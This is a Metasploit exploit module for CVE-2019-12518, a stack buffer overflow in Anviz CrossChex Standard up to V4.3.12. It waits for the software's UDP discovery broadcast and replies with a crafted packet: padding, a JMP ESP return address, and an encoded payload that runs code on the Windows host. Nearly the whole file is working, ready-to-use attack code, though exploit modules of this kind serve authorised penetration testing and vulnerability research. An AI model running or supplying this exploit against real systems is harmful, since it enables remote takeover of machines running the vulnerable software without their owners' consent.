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##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
PACKET_LEN = 10  
  
include Msf::Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Anviz CrossChex Buffer Overflow',  
'Description' => %q{  
Waits for broadcasts from Ainz CrossChex looking for new devices, and returns a custom broadcast,  
triggering a stack buffer overflow.  
},  
'Author' =>  
[  
'Luis Catarino <lcatarino@protonmail.com>', # original discovery/exploit  
'Pedro Rodrigues <pedrosousarodrigues@protonmail.com>', # original discovery/exploit  
'agalway-r7', # Module creation  
'adfoster-r7' # Module creation  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2019-12518'],  
['URL', 'https://www.0x90.zone/multiple/reverse/2019/11/28/Anviz-pwn.html'],  
['EDB', '47734']  
],  
'Payload' =>  
{  
'Space' => 8947,  
'DisableNops' => true  
},  
'Arch' => ARCH_X86,  
'EncoderType' => Msf::Encoder::Type::Raw,  
'Privileged' => true,  
'Platform' => 'win',  
'DisclosureDate' => '2019-11-28',  
'Targets' =>  
[  
[  
'Crosschex Standard x86 <= V4.3.12',  
{  
'Offset' => 261, # Overwrites memory to allow EIP to be overwritten  
'Ret' => "\x07\x18\x42\x00", # Overwrites EIP with address of 'JMP ESP' assembly command found in CrossChex data  
'Shift' => 4 # Positions payload to be written at beginning of ESP  
}  
]  
],  
'DefaultTarget' => 0  
))  
deregister_udp_options  
register_options(  
[  
Opt::CPORT(5050, true, 'Port used to listen for CrossChex Broadcast.'),  
Opt::CHOST("0.0.0.0", true, 'IP address that UDP Socket listens for CrossChex broadcast on. \'0.0.0.0\' is needed to receive broadcasts.'),  
OptInt.new('TIMEOUT', [true, 'Time in seconds to wait for a CrossChex broadcast. 0 or less waits indefinitely.', 100])  
])  
end  
  
def exploit  
connect_udp  
  
res, host, port = udp_sock.recvfrom(PACKET_LEN, datastore["TIMEOUT"].to_i > 0 ? (datastore["TIMEOUT"].to_i) : (nil))  
if res.empty?  
fail_with(Failure::TimeoutExpired, "Module timed out waiting for CrossChex broadcast")  
end  
  
print_status "CrossChex broadcast received, sending payload in response"  
sploit = rand_text_english(target['Offset'])  
sploit << target.ret # Overwrites EIP with address of 'JMP ESP' assembly command found in CrossChex data  
sploit << rand_text_english(target['Shift']) # Positions payload to be written at beginning of ESP  
sploit << payload.encoded  
  
udp_sock.sendto(sploit, host, port)  
print_status "Payload sent"  
end  
end